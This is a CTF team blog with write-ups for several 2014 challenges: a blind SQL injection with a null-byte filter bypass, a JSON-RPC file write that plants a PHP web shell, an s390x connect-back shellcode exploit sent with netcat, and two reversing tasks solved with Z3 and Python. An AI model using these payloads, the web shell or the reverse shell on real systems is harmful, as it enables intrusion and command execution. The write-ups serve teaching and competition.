Wednesday, February 26, 2014

Codegate CTF Preliminary 2014 - Web500 "120"


"120" is the second web challenge from the Codegate CTF Preliminary 2014. 
It has been solved by 100 teams, but our team was the fastest.

The challenge contains two files: index.php and auth.php, where both are very similar:

Additionally, we are given the source code of index.php:

$link = @mysql_connect('localhost''''');

function RandomString()
  $filename "smash.txt";
  $f fopen($filename"r");
  $len filesize($filename);
  $contents fread($f$len);
  $randstring '';
  while( strlen($randstring)<30 ){
    $t $contents[rand(0$len-1)];
    $randstring .= $t;
  return $randstring;
$max_times 120;

if ($_SESSION['cnt'] > $max_times){

if ( !isset($_SESSION['cnt'])){

  $query "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";

  $query "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
}$left_count $max_times-$_SESSION['cnt'];$_SESSION['cnt']++;

if ( $_POST['password'] ){
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    exit("Wrong access");

  $query "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);



We can see that the script is setting a random password for every 120 consecutive requests.
The password is linked to our unique IP address and stored in the MySQL database.
We are able to send password parameter via POST, which is tested on the blacklist:

  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    exit("Wrong access");

Yes, this challenge is about SQL injection attack. Let's look at the vulnerable line:

  $query "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";

It's impossible to alter $_SERVER[REMOTE_ADDR], but $_POST[password] is under our control!
Magic quotes were disabled on that server, so there was no problem to close a single quote.
Take a look at the rest of the code:

  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);

Errors are stripped (@ before functions names), so our attack may be boolean blind injection based on True/False output.
Functions like sleep or benchmark are not on the blacklist, so we can also do time-based attack.

The second idea is more reasonable, because we have only 120 queries. it?

eregi - old and bad

WAF is based on the eregi function. In the manual we can read:
This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.
Why is that? For example because eregi stops reading strings on the first null byte.
Remember that PHP allows us to send strings containing null bytes.
By setting first byte of password to null we can bypass eregi and use all forbidden words from the blacklist!

120? - just think out of the box

After every 120 requests new password linked to our IP address is generated.
So logical is that we have to get our password in 120 queries. it?

Who said it must be our password? :)
We just can use our first IP address to get password linked to a second IP address we control.
For example:
1) Request index.php to generate new password and store it in the database. Use first IP to do it.
2) Do blind SQL injection attack to get password linked to the first IP. Use second IP to do it.
3) Login in auth.php and profit. Use first IP to do it.


The last missing thing is the payload. After bypassing the whole blacklist creating one is not difficult.

%00') union select if((select 1 from rms_120_pw where ip='$IP_with_static_password' and ord(mid(password,$i,1))>$guess limit 1),'$IP_with_exploit',0),2-- x

We can do fast binsearch boolean-based blind SQL injection using this.

After all we solved it in very fast and smart way :)
Congrats! the key is DontHeartMeBaby*$#@!

The challenge has been solved by Mawekl, member of the Dragon Sector.

Monday, February 10, 2014

Olympic CTF 2014 - RPC (400)

The write-up was created by mak and edited by j00ru of Dragon Sector.

Let's get started with the "RPC" challenge, poked with and solved by quite a few people on our team: jagger, mak, keidii, Mawekl and vnd, and available during the CTF with the following description:
Wallarm experts[0] do it in 3 minutes. How long will it take you[1]?

Flag format: CTF{..32 hexes..}
Once we clicked on the second link, the task website welcomed us with the following error:
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27
After some brief googling around for the notice message, we found out what rpc-json was and how it roughly worked. An example of a JSON stream as expected by the protocol looks like the snippet below:
{"jsonrpc": "2.0", "method": "mymethod", "params":{"a1":"va1","a2":"val2"}}
which basically boils down to firing up $obj->$mymethod($val1, $val2). The obvious way to approach this is to find some useful methods we could use in further exploitation - the first one we were able to locate was test with an id parameter:
$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"foo","params":{}}' ; echo

invalid method. Try test

$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"test","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
We played with the id argument for a bit, unfortunately with no luck - it always returned 42, as this is the answer to everything, right? :) This required us to perform some more educated guessing with regards to the method names:
import requests
import json

def call_method(m,p):
    if type(m) == type(p) and type(m) == list:
        d= []
        for m,p in zip(m,p):
        d = {'jsonrpc':'2.0',"params":p,"method":m}
    print json.dumps(d)
    r ='',data={'rpc_json_call':json.dumps(d)})
    return r.text

def check_method(m):
    return call_method(m,{})[:7] != 'invalid'

methods = [
    'construct','destruct', 'call', 'callStatic', 'get', 'set',
    'isset', 'unset', 'toString', 'invoke', 'set_state','clone'
for m in methods:
    if check_method(m):
        print m
    if check_method('_'+m):
        print '_' + m
    if check_method('__'+m):
        print '__' + m

$ python2 /tmp/
Once we knew about two more interesting methods (standard ones used by PHP for object serialization), we could determine their parameter names:
$ curl -d 'rpc_json_call={"jsonrpc":"2.0","method":"__construct","params":{"a":"x"}}' ; echo

invalid method params! Valid is:
This sounded like we could set some state (curious!), turn on debugging and log something somewhere. With the filesystem path from the original error message, we tried to write to a test file:
$ curl -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/testing", "debug":true, "state":"pwnd"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo


$ curl

1391980389    O:3:"rpc":1:{s:5:"state";s:4:"pwnd";}
Hurray, it worked! Having an arbitrary file write primitive, we could easily get ourselves a remote shell:
$ curl -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/t.php", "debug":true, "state":"<? system($_GET['x']);?>"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echo


$ curl   

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
Even having compromised the server, we still had to spend a few minutes snooping around the file system, eventually finding the desired flag in the root directory:
$ curl ''

1391980463    O:3:"rpc":1:{s:5:"state";s:22:"CTF{b15ffee30a117f418d1cede6faa57778}
+400 points well earned, and we could happily proceed to the next task. :)

Olympic CTF 2014 - zpwn (200)


The task has been solved by jagger and mak, both members of the Dragon Sector.

It's a typical example of the 'pwn' category. You can download the server-side binary here.

$ file zpwn
zpwn: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.4, BuildID[sha1]=0xe1d81c88df9d4f618417bd2ebd037ea74dd1da97, stripped

The emulator

So, it's a S390/Linux binary. The S390 is a CPU arch created for the IBM System Z machines. Our team's funds were not enough to buy a real IBM System Z :) so we had to use an emulator. And the only viable option at the time was Hercules. After installing the hercules package (it comes with Ubuntu) we also had to install some Linux OS  flavor, and we chose Debian 7.4 (for s390x), even though the original binary seemed to be compiled under SUSE (it left some SUSE specific sections in the zpwn ELF). If you're interested on how to get your own Debian on IBM System Z, please take a look at this excellent step-by-step guide. Configuration and installation process is slow & painful, but once we had the emulator running we thought that we were ready to go...

... but not so fast. The kernel that comes together with Debian 7.4 (3.2.sth) had a nasty bug in the ptrace() kernel-mode implementation, which prevented it from being used with gdb. It threw a few errors and exited when saving registers of the traced process. So, we had to upgrade the kernel with the newest .deb we could find on ze Internets (it's one of the newer Debian builds) and it was one of the 3.12 version releases.

The hercules s390x emulator


A quick objdump over the binary tells us that it's essentially an echo server, which loops constantly, performing recvfrom(fd, buf, &len, &from) and sendto(fd, buf, len, &from);...... but not only that.... There's this peculiar procedure which computes some sort of hash/CRC over the data sent via the UDP socket (it's an unconnected one, which is important). And, in case this CRC equals to some predefined value, it jumps directly into the buffer mmap'd previously with PROT_READ|PROT_WRITE|PROT_EXEC permission bits. At this point, we started to understand how to obtain RCE. The following disassm shows us the data receiving and hash/CRC computing procedures dumped from the zpwn binary.

  1. ; recvfrom data from the UDP socket into the RWE buffer (address in %r11)
  2. 80000b42:   c0 e5 ff ff fe 51       brasl %r14,800007e4 <recvfrom@plt>
  3. .../* error checking */
  4. ; move RXE mmap'd buffer adress to %r5
  5. 80000b54:    b9 04 00 5b            lgr %r5,%r11
  6. ; ini %r2 with -1
  7. 80000b58:    a7 28 ff ff            lhi %r2,-1
  8. ; copy number of chars in the buffer to %r3
  9. 80000b5c:    b9 04 00 34            lgr %r3,%r4
  10. ; loop until %r3 == 0 (condition at 0x80000b7c)
  11. ; load character from buf[index] to %r1
  12. 80000b60:    43 10 50 00            ic %r1,0(%r5)
  13. ; incement %r5 - now it points to the next char
  14. 80000b64:    41 50 50 01            la %r5,1(%r5)
  15. ; compute CRC/HASH - XORs and SHIFTs mostly
  16. 80000b68:    17 12                  xr %r1,%r2
  17. 80000b6a:    88 20 00 08            srl %r2,8
  18. 80000b6e:    b9 84 00 11            llgcr %r1,%r1
  19. 80000b72:    eb 11 00 02 00 0d      sllg %r1,%r1,2
  20. 80000b78:    57 21 c0 00            x %r2,0(%r1,%r12)
  21. 80000b7c:    a7 37 ff f2            brctg %r3,80000b60
  22. ; if %r2 == -201528 jump to 0x80000bae
  23. 80000b80: c2 2d ff fc ec c8         cfi %r2,-201528
  24. 80000b86: a7 84 00 14               je 80000bae
  25. ....
  26. ; Jump directly to the buffer holding our data (%r11)
  27. 80000bae: 0d eb                     basr %r14,%r11

So, in order to get RCE, we had to provide our shell-code as the UDP echo packet, and make sure that the CRC computed over it will be equal to -201528. The hash itself is 32 bit in size, so it should be trivial to brute-force it. But, we had to develop our shell-code first.


So, the echo was performed over an unconnected UDP socket, and we couldn't use it for our nefarious purposes (it'd require too much coding IMO), so we had to develop sth. that will either bind a socket and listens to our connections or connects back to our server. The following shellcode implements the latter idea (as it's one syscall less to code)


  1. s = socket(AF_INET, SOCK_STREAM, 0);
  2. connect(s, {IP1.IP2.IP3.IP4/8738}, 16);
  3. dup2(s, 0);
  4. dup2(s, 1);
  5. dup2(s, 2);
  6. execv(“/bin/sh”, NULL, NULL);

I see you're amazed by the quality of the shell-code below :). Well, something that had to be implemented w/o knowing the assembler and its opcodes beforehand. So it's grossly inefficient. Learning new asm on the go is what haxors like the best, no? :) It's also more complicated than it should be because the network syscalls (socket, connect) are implemented on Linux/s390x via the socketcall() multiplexer which takes all args on the stack and not in registers (what would be considerably faster to implement).

  1. asm (  
  2.        "mvi 0(%r15), 0\n"
  3.        "mvi 1(%r15), 0\n"
  4.        "mvi 2(%r15), 0\n"
  5.        "mvi 3(%r15), 0\n"
  6.        "mvi 4(%r15), 0\n"
  7.        "mvi 5(%r15), 0\n"
  8.        "mvi 6(%r15), 0\n"
  9.        "mvi 7(%r15), 2\n" ; AF_INET
  10.        "mvi 8(%r15), 0\n"
  11.        "mvi 9(%r15), 0\n"
  12.        "mvi 10(%r15), 0\n"
  13.        "mvi 11(%r15), 0\n"
  14.        "mvi 12(%r15), 0\n"
  15.        "mvi 13(%r15), 0\n"
  16.        "mvi 14(%r15), 0\n"
  17.        "mvi 15(%r15), 1\n" ; SOCK_STREAM
  18.        "mvi 16(%r15), 0\n"
  19.        "mvi 17(%r15), 0\n"
  20.        "mvi 18(%r15), 0\n"
  21.        "mvi 19(%r15), 0\n"
  22.        "mvi 20(%r15), 0\n"
  23.        "mvi 21(%r15), 0\n"
  24.        "mvi 22(%r15), 0\n"
  25.        "mvi 23(%r15), 0\n" ; IPPROTO_IP
  26.        "la %r3,0(%r15)\n"
  27.        "la %r2, 1\n"
  28. "la %r1, 102\n"
  29. ; socketcall - SYS_SOCKET(AF_INET(2), SOCK_STREAM(1), IPPROTO_IP(0));
  30.        "svc 102\n"
  31.        "lgr %r6, %r2\n"

  32.        "mvi 64(%r15), 0\n"
  33.        "mvi 65(%r15), 2\n" ; AF_INET
  34.        "mvi 66(%r15), 34\n" ; port (8738 = (34*256)+34)
  35.        "mvi 67(%r15), 34\n"
  36.        "mvi 68(%r15), D\n" ; our IP
  37.        "mvi 69(%r15), C\n"
  38.        "mvi 70(%r15), B\n"
  39.        "mvi 71(%r15), A\n"

  40.        "stg %r6, 0(%r15)\n"
  41.        "la  %r4, 64(%r15)\n"
  42.        "stg %r4, 8(%r15)\n"
  43.        "mvi 16(%r15), 0\n"
  44.        "mvi 17(%r15), 0\n"
  45.        "mvi 18(%r15), 0\n"
  46.        "mvi 19(%r15), 0\n"
  47.        "mvi 20(%r15), 0\n"
  48.        "mvi 21(%r15), 0\n"
  49.        "mvi 22(%r15), 0\n"
  50.        "mvi 23(%r15),16\n" ; sizeof(struct sockaddr_in)

  51.        "la %r3,0(%r15)\n"
  52.        "la %r2, 3\n"
  53. "la %r1, 102\n"
  54. ; socketcall - SYS_CONNECT(fd, {AF_INET, "A.B.C.D", "8738"}, 16);
  55.        "svc 102\n"

  56.        "la %r1,63\n"
  57.        "lgr %r2,%r6\n"
  58.        "la %r3,0\n"
  59. ; dup2(fd, 0);
  60.        "svc 63\n"

  61. "la %r1,63\n"
  62.        "lgr %r2,%r6\n"
  63.        "la %r3,1\n"
  64. ; dup2(fd, 1);
  65.        "svc 63\n"

  66. "la %r1,63\n"
  67.        "lgr %r2,%r6\n"
  68.        "la %r3,2\n"
  69. ; dup2(fd, 2);
  70.        "svc 63\n"

  71. "mvi 0(%r15),'/'\n"
  72. "mvi 1(%r15),'b'\n"
  73. "mvi 2(%r15),'i'\n"
  74. "mvi 3(%r15),'n'\n"
  75. "mvi 4(%r15),'/'\n"
  76. "mvi 5(%r15),'s'\n"
  77. "mvi 6(%r15),'h'\n"
  78. "mvi 7(%r15),0\n"
  79.        "la %r1,11\n"
  80.        "lgr %r2,%r15\n"
  81.        "la %r3,0\n"
  82.        "la %r4,0\n"
  83. ; execve("/bin/sh", 0, 0);
  84. "svc 11\n"
  85. );

In hex it looks like the following (modulo our IP which is represented by IP1..IP4 bytes).

  1. "\x92\x00\xf0\x00\x92\x00\xf0\x01\x92\x00\xf0\x02\x92\x00\xf0\x03"
  2. "\x92\x00\xf0\x04\x92\x00\xf0\x05\x92\x00\xf0\x06\x92\x02\xf0\x07"
  3. "\x92\x00\xf0\x08\x92\x00\xf0\x09\x92\x00\xf0\x0a\x92\x00\xf0\x0b"
  4. "\x92\x00\xf0\x0c\x92\x00\xf0\x0d\x92\x00\xf0\x0e\x92\x01\xf0\x0f"
  5. "\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00\xf0\x13"
  6. "\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x00\xf0\x17"
  7. "\x41\x30\xf0\x00\x41\x20\x00\x01\x41\x10\x00\x66\x0a\x66\xb9\x04"
  8. "\x00\x62\x92\x00\xf0\x40\x92\x02\xf0\x41\x92\x22\xf0\x42\x92\x22"
  9. "\xf0\x43\x92\IP1\xf0\x44\x92\IP2\xf0\x45\x92\IP3\xf0\x46\x92\IP4"
  10. "\xf0\x47\xe3\x60\xf0\x00\x00\x24\x41\x40\xf0\x40\xe3\x40\xf0\x08"
  11. "\x00\x24\x92\x00\xf0\x10\x92\x00\xf0\x11\x92\x00\xf0\x12\x92\x00"
  12. "\xf0\x13\x92\x00\xf0\x14\x92\x00\xf0\x15\x92\x00\xf0\x16\x92\x10"
  13. "\xf0\x17\x41\x30\xf0\x00\x41\x20\x00\x03\x41\x10\x00\x66\x0a\x66"
  14. "\x41\x10\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x00\x0a\x3f\x41\x10"
  15. "\x00\x3f\xb9\x04\x00\x26\x41\x30\x00\x01\x0a\x3f\x41\x10\x00\x3f"
  16. "\xb9\x04\x00\x26\x41\x30\x00\x02\x0a\x3f\x92\x2f\xf0\x00\x92\x62"
  17. "\xf0\x01\x92\x69\xf0\x02\x92\x6e\xf0\x03\x92\x2f\xf0\x04\x92\x73"
  18. "\xf0\x05\x92\x68\xf0\x06\x92\x00\xf0\x07\x41\x10\x00\x0b\xb9\x04"
  19. "\x00\x2f\x41\x30\x00\x00\x41\x40\x00\x00\x0a\x0b\x6d\x6f\x85\x48"

You may ask, why so many "A"s at the end of the shell-code? The answer is, that there was some peculiar routing problem between our team's machines and the CTF setup, that prevented delivering UDP packets of sizes between ca. 120 and 520 bytes (tested from a few networking locations), so we had to artificially extend it to >600 bytes. Wicked, we know! But well :)


Now, we have our shellcode, but the CRC over it will not be the magic value, so let's append it with 4 bytes of data, and brute-force it. We need to get 0xfffcecc8 (-201528) in the result (%r2) register, and as this CRC goes sequentially over data in the buffer we can pre-compute the hash for the original shell-code payload, it'll make the whole procedure much quicker (here represented by uint64_t st = 0xffffffff8ec7938c). It's possible to represent it in pure C, and although it's quite easily doable giving, "more-or-less",....

while(%r3--) { %r1 = input ^ %2; %r2 = (%r2>>8) ^ (0x80000d7c[(%r1 & 0xff) << 2]; input++}

... hackers gonna hack, so we simply replicated the original code with asm inlines:
  1. #include <stdio.h>
  2. #include <stdint.h>
  3. #include <stdlib.h>
  4. int main(void) {
  5. uint64_t st = 0xffffffff8ec7938c;  // Initial CRC of our SC
  6. uint64_t comp;
  7. uint8_t sc[4];
  8. uint32_t *p2 = sc;
  9. // 1kB of data from the zpwn binary, dumped with gdb's
  10. // "dump binary memory", it's used by the CRC algorithm
  11. // as a random data table (addr held in %r12)
  12. uint8_t *tablica =       
  13. "\x00\x00\x00\x00\x77\x07\x30\x96\xee\x0e\x61\x2c\x99\x09\x51\xba"
  14. ......
  15. "\xb4\x0b\xbe\x37\xc3\x0c\x8e\xa1\x5a\x05\xdf\x1b\x2d\x02\xef\x8d"
  16. "\x01";

  17. sc[0] = 0;
  18. sc[1] = 0;
  19. sc[2] = 0;
  20. sc[3] = 0;

  21. uint64_t cnt = 0;
  22. for(;;) {
  23. cnt++;
  24. *p2 = (*p2)++;

  25. asm(
  26. " lgr %%r2, %1\n"
  27. " lgr %%r5, %2\n"
  28. " lgr %%r12, %3\n"
  29. " la  %%r3, 4\n"
  30. " la  %%r1, 0\n"
  31. "label1:\n"
  32. " ic %%r1,0(%%r5)\n"
  33. " la %%r5,1(%%r5)\n"
  34. " xr %%r1,%%r2\n"
  35. " srl %%r2,8\n"
  36. " .long 0xb9840011\n" ; llgrc %r1, %r1
  37. " sllg %%r1,%%r1,2\n"
  38. " x %%r2,0(%%r1,%%r12)\n"
  39. " brctg %%r3,label1\n"
  40. " lgr %0, %%r2\n"
  41. : "=r" (comp)
  42. : "r" (st), "r" (sc), "r" (tablica)
  43. : "r1", "r2", "r3", "r5", "r12"
  44. );

  45. if (comp == 0xfffcecc8 || comp == 0xfffffffffffcecc8) {
  46. // GOTCHA
  47. printf("==> %hhx %hhx %hhx %hhx\n", sc[0], sc[1], sc[2], sc[3]);
  48. printf("==> %x\n", *p2);
  49. break;
  50. }
  51. if ((cnt % 1000000) == 0) {
  52. printf("CNT: %llu\n", cnt);
  53. }
  54. }
  55. return 0;
  56. }

After the not-so-quick brute-forcing session (~30 min.) using the emulator, we got the last 4 bytes of the payload ("\x42\x82\xe7\xc5") for this specific shell-code.


Now, let's save the shell-code as a file, append those 4 bytes, and send it using netcat.

# Client
$ cat sc | nc -u <serverip> 31337

# Listen on server for the back-connect
$ nc -l -v 8738
Connection from port 8738 [tcp/*] accepted
uid=1000(zpwn) gid=1000(zpwn) groups=1000(zpwn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

Voila! Let's grab the flag (from flag.txt) and move over to other tasks.

Olympic CTF 2014 - Welcome To Forensics (500)

"Welcome To Forensics" or WTF for short (and believe us when we say that the name is most fitting) was a stegano/forensics/crackme challenge on the Olympic CTF Sochi 2014, which was organized by the MSLC. On behalf of the Dragon Sector this task was solved by gynvael and mak.

We were given a 46KB WTF.BIN file which looked like nothing in particular:

And let's be honest by saying that we had no idea what to do with it until a hint was published some hours later.

The hint basically said "look at 0x4525". At that offset there were three characters that basically revealed what this task is about:


Yes, this is PHP.

While it seems hard to believe, running this binary randomness in the PHP interpreter doesn't throw any errors (just noticed; note: in php.ini the short_open_tags needs to be enabled). Looking deeper into it one starts to notice a schema - everything is separated into lines and each line has some PHP code which is followed by a line comment sign (either # or //) and a lot of binary trash. The funny thing is that the PHP code also looks like binary randomness since PHP allows names to be non-ASCII and even promotes some of them to constant strings. For example (yellow = PHP code, violet = comment start):

Please note that the markings might be incorrect, but it should give you the general idea.

Instead of trying to deobfuscate this we decided to start with a trace using Xdebug's trace options and asked it to dump the parameters of called functions as well as the returned values. We got the following output:

So this basically gave us a BASIC-looking-but-still-PHP crackme (see Appendix A at the bottom for full source).

To find the answer we used Z3 (see Appendix B) which quickly found that the flag is:


To sum up, starting was the hard part in this task - the rest was rather simple if one had the correct tools (Xdebug, Z3).

Appendix A - crackme

/* ' OMFG A FUNCTION !!! */ 
FOR ($I = 1; $I <= STRLEN($PARAMETER); $I++): 
IF ((($ARRAY[3] * $ARRAY[6]) ^ ($ARRAY[2] * $ARRAY[2])) - 7320): 
IF ((($ARRAY[11] * $ARRAY[14]) ^ ($ARRAY[9] * $ARRAY[11])) - 15882): 
IF ((($ARRAY[14] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[4])) - 11789): 
IF ((($ARRAY[1] * $ARRAY[9]) ^ ($ARRAY[8] * $ARRAY[9])) - 7184): 
IF ((($ARRAY[13] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[11])) - 10366): 
IF ((($ARRAY[9] * $ARRAY[4]) ^ ($ARRAY[4] * $ARRAY[2])) - 6902): 
IF ((($ARRAY[13] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[16]))): 
IF ((($ARRAY[14] * $ARRAY[6]) ^ ($ARRAY[6] * $ARRAY[1])) - 2277): 
IF ((($ARRAY[10] * $ARRAY[9]) ^ ($ARRAY[16] * $ARRAY[15])) - 4385): 
IF ((($ARRAY[2] * $ARRAY[7]) ^ ($ARRAY[1] * $ARRAY[10])) - 15468): 
IF ((($ARRAY[3] * $ARRAY[14]) ^ ($ARRAY[6] * $ARRAY[15])) - 8075): 
IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[5] * $ARRAY[10])) - 11550): 
IF ((($ARRAY[5] * $ARRAY[3]) ^ ($ARRAY[9] * $ARRAY[8])) - 7668): 
IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[12] * $ARRAY[1])) - 3032): 
IF ((($ARRAY[7] * $ARRAY[4]) ^ ($ARRAY[8] * $ARRAY[13])) - 14067): 
IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[7] * $ARRAY[7])) - 11997): 
IF ((($ARRAY[12] * $ARRAY[11]) ^ ($ARRAY[5] * $ARRAY[8])) - 13208): 
IF ((($ARRAY[5] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[13])) - 11282): 
IF ((($ARRAY[2] * $ARRAY[12]) ^ ($ARRAY[13] * $ARRAY[2])) - 1126): 
IF ((($ARRAY[8] * $ARRAY[15]) ^ ($ARRAY[9] * $ARRAY[2])) - 326): 
IF ((($ARRAY[5] * $ARRAY[11]) ^ ($ARRAY[15] * $ARRAY[12])) - 5115): 
IF ((($ARRAY[16] * $ARRAY[2]) ^ ($ARRAY[15] * $ARRAY[7])) - 1213): 
IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[1] * $ARRAY[16])) - 9471): 
IF ((($ARRAY[6] * $ARRAY[16]) ^ ($ARRAY[1] * $ARRAY[3])) - 6359): 
IF ((($ARRAY[16] * $ARRAY[5]) ^ ($ARRAY[14] * $ARRAY[9])) - 7177): 
IF ((($ARRAY[14] * $ARRAY[10]) ^ ($ARRAY[10] * $ARRAY[1])) - 5846): 
IF ((($ARRAY[4] * $ARRAY[3]) ^ ($ARRAY[13] * $ARRAY[12])) - 15954): 
IF ((($ARRAY[8] * $ARRAY[8]) ^ ($ARRAY[1] * $ARRAY[14])) - 3254): 
IF ((($ARRAY[4] * $ARRAY[15]) ^ ($ARRAY[7] * $ARRAY[8])) - 12137): 
IF ((($ARRAY[3] * $ARRAY[10]) ^ ($ARRAY[5] * $ARRAY[4])) - 131): 
IF ((($ARRAY[5] * $ARRAY[4]) ^ ($ARRAY[6] * $ARRAY[10])) - 2685): 
IF ((($ARRAY[11] * $ARRAY[12]) ^ ($ARRAY[10] * $ARRAY[14])) - 7242): 


Appendix B (z3 solution by mak)

from z3 import *
array = [ BitVec('a%i'%i,8) for i in range(0,17)]

s = Solver()
s.add(((array[3] * array[6]) ^ (array[2] * array[2])) == 7320)
s.add(((array[11] * array[14]) ^ (array[9] * array[11])) == 15882)
s.add(((array[14] * array[15]) ^ (array[11] * array[4])) == 11789) 
s.add(((array[1] * array[9]) ^ (array[8] * array[9])) == 7184) 
s.add(((array[13] * array[16]) ^ (array[7] * array[11])) == 10366) 
s.add(((array[9] * array[4]) ^ (array[4] * array[2])) == 6902)          
s.add(((array[13] * array[15]) ^ (array[11] * array[16])) == 0)
s.add(((array[14] * array[6]) ^ (array[6] * array[1])) == 2277) 
s.add(((array[10] * array[9]) ^ (array[16] * array[15])) == 4385) 
s.add(((array[2] * array[7]) ^ (array[1] * array[10])) == 15468) 
s.add(((array[3] * array[14]) ^ (array[6] * array[15])) == 8075) 
s.add(((array[6] * array[3]) ^ (array[5] * array[10])) == 11550) 
s.add(((array[5] * array[3]) ^ (array[9] * array[8])) == 7668) 
s.add(((array[13] * array[12]) ^ (array[12] * array[1])) == 3032) 
s.add(((array[7] * array[4]) ^ (array[8] * array[13])) == 14067) 
s.add(((array[6] * array[3]) ^ (array[7] * array[7])) == 11997) 
s.add(((array[12] * array[11]) ^ (array[5] * array[8])) == 13208) 
s.add(((array[5] * array[16]) ^ (array[7] * array[13])) == 11282) 
s.add(((array[2] * array[12]) ^ (array[13] * array[2])) == 1126) 
s.add(((array[8] * array[15]) ^ (array[9] * array[2])) == 326) 
s.add(((array[5] * array[11]) ^ (array[15] * array[12])) == 5115) 
s.add(((array[16] * array[2]) ^ (array[15] * array[7])) == 1213) 
s.add(((array[13] * array[12]) ^ (array[1] * array[16])) == 9471) 
s.add(((array[6] * array[16]) ^ (array[1] * array[3])) == 6359) 
s.add(((array[16] * array[5]) ^ (array[14] * array[9])) == 7177) 
s.add(((array[14] * array[10]) ^ (array[10] * array[1])) == 5846) 
s.add(((array[4] * array[3]) ^ (array[13] * array[12])) == 15954) 
s.add(((array[8] * array[8]) ^ (array[1] * array[14])) == 3254) 
s.add(((array[4] * array[15]) ^ (array[7] * array[8])) == 12137) 
s.add(((array[3] * array[10]) ^ (array[5] * array[4])) == 131) 
s.add(((array[5] * array[4]) ^ (array[6] * array[10])) == 2685) 
s.add(((array[11] * array[12]) ^ (array[10] * array[14])) == 7242) 

for i in range(1,17):
    s.add(array[i] >= 32 and array[i] <= 126)

print s.check()
print s.model()

Olympic CTF 2014 - zbin (RE 500)

The zbin task was a simple reverse-engineering/crackme challenge on the Olympic CTF Sochi 2014, which was organized by the MSLC. We've used the word "simple" as the application itself was indeed simple (from our narrow point of view); what made the task worth 500 points was the unusual platform it run on - 64-bit GNU/Linux (SuSE) running on an IBM's s390 CPU. On behalf of the Dragon Sector this task was solved by gynvael with aid from jagger and mak.

The first step was to be able to run and disassemble the binary - the last part turned out to be problematic as the usual tool of our trade - IDA - doesn't support the s390. We ended up creating the following setup:

  • qemu-s390x + dynamic libraries extracted from SuSE s390x RPMs - this was used to run zbin on our local machines. We also tried to use s390x gdb this way to debug the app, but it turned out that some required syscall (ptrace probably) was not supported by qemu-s390x and it just didn't work (we also tried remote connecting s390x gdb to qemu's gdb server, but it turned out not to work at all either). Still, qemu has some tracing capabilities and we did play a little with these.
  • Debian on s390x emulator - we used this to solve zpwn and re-used it for gdb/ltrace/objdump for this task as well; you can read more about this setup in our zpwn write-up: olympic-ctf-2014-zpwn-200.
Surprisingly, we also used IDA, but only to get a general view of the binary and C++ name demangling.

Recon phase

We started with the basics - strings and objdump for disassembly. In the string dump we've spotted two interesting things:

  • zlib's inflateInit/inflate/inflateEnd - we followed up by looked for high-entropy area and then for a zlib/DEFLATE magic, and we did find it at 0x30F0:
    After extracting it and inflating we got a 7MB English wordlist with 670204 entries.
  • "Correct! Use MD5 now." - a hint that the final flag will be the MD5 of whatever is the solution to this crackme. Given the wordlist above, we guessed it would probably have to be an MD5 of a word from that dictionary.

The dead-listing, SIGABRT and the hash

We then focused on the disassembler output itself. Since it was kinda hard to read we decided to take some time and create a Python script that would append a description of every s390 assembly mnemonic in the same line as a given instruction - in the long run this saved us quite a lot of time looking up all the s390 weirdness in the manuals. The final disassembly form we've worked:

After a brief analysis of the code (which did take some time since we were not familiar with the s390's huge instruction set) we were able to pinpoint main(), the decompression of the wordlist and checking if enough parameters were provided (+feeding the first one into strtol). And here is where we got lucky - we decided to run the application with some numbers (123456789) and look for them under the debugger, but before we ever got to that we spotted a SIGABRT being raised:

And then it "clicked" - we partly-deduced and partly-guessed that we need to provide the index of the word in the dictionary and then there will be some-kind-of-a-hash-check, and, if it passes, the message "Correct! Use MD5 now." will be displayed. So we put aside other ideas and began looking for the hash check (going backwards from the string reference).

We found the hashing function quite quickly and it turned out to be really short. We also found the expected value - 619767641. We decided to just calculate the hash (we ported the hashing function to Python) of every word in the dictionary and see if there are any matches vs the expected value. The code that does this:

import md5
d = open("oooo", "rb").read().split("\n")

def fix(x):
  return x & 0xffffffff

def calc(w):
  r3 = 0
  r5 = 0
  for ch in w:
    r2 = ord(ch)
    r2 += r3
    r2 = fix(r2)
    r1 = r2
    r1 = r1 << 10 # or 10
    r1 += r2
    r1 = fix(r1)

    r3 = r1
    r3 = r3 >> 6
    r3 ^= r1
    r5 += 1

  r1 = r3
  r1 = r1 << 3
  r1 += r3
  r1 = fix(r1)
  r3 = r1
  r3 = r3 >> 11
  r3 ^= r1
  r2 = r3
